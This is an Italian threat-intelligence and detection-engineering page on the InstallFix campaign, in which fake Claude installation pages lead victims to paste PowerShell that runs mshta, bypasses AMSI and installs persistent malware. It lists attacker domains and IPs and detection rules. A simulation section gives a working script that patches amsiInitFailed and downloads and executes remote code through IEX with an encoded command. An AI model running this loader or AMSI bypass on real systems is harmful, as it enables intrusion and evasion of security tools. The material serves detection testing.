InstallFix e Codice Claude: Come le Pagine di Installazione False Portano a Compromessi Reali
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
La campagna InstallFix diffonde malware tramite annunci Google dannosi che imitano le pagine di installazione di Claude AI. Le vittime sono persuase a eseguire comandi PowerShell che invocano mshta.exe per recuperare un file poliglotto ZIP e HTA, che avvia quindi una catena di infezione multi-fase e senza file. Il payload disabilita la convalida SSL e le protezioni AMSI, scarica codice aggiuntivo da un dominio di comando e controllo specifico per la vittima e crea persistenza tramite attività pianificate. L’operazione ha preso di mira organizzazioni in vari settori e regioni del mondo.
Investigazione
I ricercatori hanno tracciato l’intero flusso di esecuzione dalla pagina di installazione falsa attraverso mshta.exe, VBScript e diversi strati di PowerShell codificato. La deoffuscazione ha mostrato che il malware generava un identificatore unico per ogni vittima e lo utilizzava per costruire un URL di comando e controllo specifico per l’host. La telemetria di rete ha rivelato comunicazioni in uscita verso più domini e indirizzi IP dannosi. Sebbene il payload finale non sia stato completamente recuperato, il comportamento osservato suggerisce attività di raccolta ed esfiltrazione dei dati.
Mitigazione
I difensori dovrebbero bloccare l’accesso ai domini e agli indirizzi IP dannosi identificati e limitare l’uso di mshta.exe e altri strumenti di scripting legacy ove possibile. I controlli di sicurezza degli endpoint dovrebbero essere regolati per rilevare tentativi di bypass AMSI e manomissioni della convalida SSL. Le organizzazioni dovrebbero anche applicare un filtro URL severo per il traffico di annunci Google che conduce a pagine di installazione software. La consapevolezza degli utenti rimane fondamentale, soprattutto per quanto riguarda il rischio di eseguire comandi copiati da risultati sponsorizzati o fonti non verificate.
Risposta
I team di sicurezza dovrebbero generare un avviso su catene di processi in cui mshta.exe lancia cmd.exe, powershell.exe, o interpreti di script con URL remoti sospetti. Questi eventi dovrebbero essere correlati con la creazione di attività pianificate e le connessioni in uscita all’infrastruttura di comando e controllo nota. Se l’attività è confermata, i difensori dovrebbero contenere l’host, terminare i processi dannosi e rimuovere qualsiasi meccanismo di persistenza come attività pianificate. Dovrebbe essere eseguita una revisione forense per identificare eventuali componenti payload senza file rimanenti.
"graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#cccccc classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodi azioni recon_google_ads["<b>Azione</b> – <b>T1593.002 Cercare Siti Web/Domini Aperti: Motori di Ricerca</b><br/><b>Descrizione</b>: L’avversario piazza risultati sponsorizzati dannosi su Google per attirare vittime in cerca di Claude AI."] class recon_google_ads action initial_access_phishing["<b>Azione</b> – <b>T1566.002 Phishing: Spearphishing Link</b><br/><b>Descrizione</b>: La vittima clicca su un annuncio dannoso ed è reindirizzata a una falsa pagina di installazione di Claude che ospita un comando PowerShell."] class initial_access_phishing action user_exec_copy_paste["<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malizioso</b><br/><b>Descrizione</b>: La vittima copia il comando PowerShell mostrato e lo esegue in una console."] class user_exec_copy_paste action execution_mshta["<b>Azione</b> – <b>T1218.005 Esecuzione Proxy di Binary di Sistema: Mshta</b><br/><b>Descrizione</b>: PowerShell invoca mshta.exe con un URL a un bundle poliglotto HTA/MSIX."] class execution_mshta action execution_htavbscript["<b>Azione</b> – <b>T1027 File o Informazioni Offuscate</b><br/><b>Descrizione</b>: HTA VBScript eseguito tramite mshta, usa l’oggetto COM Shell.Application per lanciare cmd.exe."] class execution_htavbscript action execution_powershell_stager["<b>Azione</b> – <b>T1140 Deoffuscare/Decodificare File o Informazioni</b><br/><b>Descrizione</b>: PowerShell stager è codificato in base64, diviso in variabili e decodificato con XOR usando la chiave ‘AMSI_RESULT_NOT_DETECTED’."] class execution_powershell_stager action defense_evasion_amsi["<b>Azione</b> – <b>T1211 Sfruttamento per Evasione della Difesa</b><br/><b>Descrizione</b>: Lo script disabilita la convalida del certificato SSL e corregge AMSI per eludere il rilevamento."] class defense_evasion_amsi action persistence_scheduled_task["<b>Azione</b> – <b>T1053 Attività/Job Pianificato</b><br/><b>Descrizione</b>: Il malware crea un’attività pianificata per eseguire nuovamente il payload dopo il riavvio del sistema."] class persistence_scheduled_task action collection_automated["<b>Azione</b> – <b>T1119 Raccolta Automatica</b><br/><b>Descrizione</b>: Raccoglie dati dell’applicazione eu2011wallet e dati del browser dall’host compromesso."] class collection_automated action exfiltration_automated["<b>Azione</b> – <b>T1020 Esfiltrazione Automatica</b> & <b>T1029 Trasferimento Pianificato</b><br/><b>Descrizione</b>: I dati raccolti sono inviati a domini controllati dall’attaccante come https://oakenfjrod.ru e IP 104.21.0.95, 185.177.239.255."] class exfiltration_automated action %% Nodi – Strumenti / Processi tool_mshta["<b>Strumento</b> – <b>Nome</b>: mshta.exe<br/><b>Scopo</b>: Esegue file di applicazione HTML."] class tool_mshta tool tool_cmd["<b>Strumento</b> – <b>Nome</b>: cmd.exe<br/><b>Scopo</b>: Interprete della linea di comando di Windows."] class tool_cmd tool tool_powershell["<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Scopo</b>: Motore di scripting usato per la consegna e decodifica del payload."] class tool_powershell tool tool_amsi_patch["<b>Strumento</b> – <b>Nome</b>: AMSI Patch<br/><b>Scopo</b>: Modifica l’interfaccia di scansione antimalware per sopprimere il rilevamento."] class tool_amsi_patch tool tool_schtasks["<b>Strumento</b> – <b>Nome</b>: schtasks.exe<br/><b>Scopo</b>: Crea e gestisce attività pianificate."] class tool_schtasks tool %% Connessioni – Flusso recon_google_ads –>|conduce_a| initial_access_phishing initial_access_phishing –>|conduce_a| user_exec_copy_paste user_exec_copy_paste –>|esegue| tool_powershell tool_powershell –>|chiama| execution_mshta execution_mshta –>|usa| tool_mshta execution_mshta –>|scarica| execution_htavbscript execution_htavbscript –>|genera| tool_cmd tool_cmd –>|esegue| execution_powershell_stager execution_powershell_stager –>|usa| tool_powershell execution_powershell_stager –>|applica| defense_evasion_amsi defense_evasion_amsi –>|usa| tool_amsi_patch defense_evasion_amsi –>|crea| persistence_scheduled_task persistence_scheduled_task –>|usa| tool_schtasks persistence_scheduled_task –>|abilita| collection_automated collection_automated –>|attiva| exfiltration_automated "
Flusso di Attacco
Rilevamenti
Stringhe Powershell Sospette (via powershell)
Visualizza
Comportamento di Evasione della Difesa MSHTA LOLBAS Sospetto Rilevato tramite Comandi Associati (via process_creation)
Visualizza
Richiama Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
Attività Pianificata Sospetta (via audit)
Visualizza
IOC (HashSha256) per rilevare: InstallFix e Claude Code: Come le Pagine di Installazione Falsificate Portano a Vere Compromissioni
Visualizza
IOC (HashSha1) per rilevare: InstallFix e Claude Code: Come le Pagine di Installazione Falsificate Portano a Vere Compromissioni
Visualizza
IOC (SourceIP) per rilevare: InstallFix e Claude Code: Come le Pagine di Installazione Falsificate Portano a Vere Compromissioni
Visualizza
IOC (DestinationIP) per rilevare: InstallFix e Claude Code: Come le Pagine di Installazione Falsificate Portano a Vere Compromissioni
Visualizza
Tecniche di Evasione PowerShell della Campagna InstallFix [Windows PowerShell]
Visualizza
Campagna InstallFix – Mshta.exe Avviamento di Cmd.exe e PowerShell.exe [Creazione Processo Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa e Comandi di Attacco:
L’attaccante ottiene uno script PowerShell dannoso tramite un link di spear‑phishing (T1566.002) che scarica un payload da un server compromesso. Per evitare il rilevamento da parte di AMSI, lo script inietta la stringaAMSI_RESULT_NOT_DETECTEDnella memoria del processo, quindi utilizza l’IEXoperatore per eseguire il codice scaricato. L’intero comando è codificato in Base64 ed avviato con il-EncodedCommandflag, soddisfacendo tutte e tre le stringhe selettore nella regola Sigma.Step‑by‑step:
- Scarica il payload dannoso (una semplice one‑liner PowerShell che scrive un file).
- Inietta il marker di bypass AMSI impostando il campo statico privato
amsiInitFailed. - Esegui il payload tramite
IEX. - Avvia l’intera catena utilizzando
powershell.exe -EncodedCommand ….
-
Script di Test di Regressione:
# Simulazione di attacco PowerShell in stile InstallFix # ------------------------------------------------- # 1. Definisci la one‑liner dannosa $malicious = @" `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') .GetField('amsiInitFailed','NonPublic,Static') `$bypass.SetValue(`$null,$true) IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1') "@ # 2. Codifica lo script in UTF‑16LE e quindi Base64 (requisito di PowerShell) $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $encoded = [Convert]::ToBase64String($bytes) # 3. Esegui tramite powershell.exe con flag -EncodedCommand $command = "powershell.exe -NoProfile -EncodedCommand $encoded" Write-Host "Avvio di PowerShell dannoso..." Invoke-Expression $command -
Comandi di Pulizia:
# Rimuovi eventuali file temporanei e termina i processi in sospeso Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue Write-Host "Pulizia completata."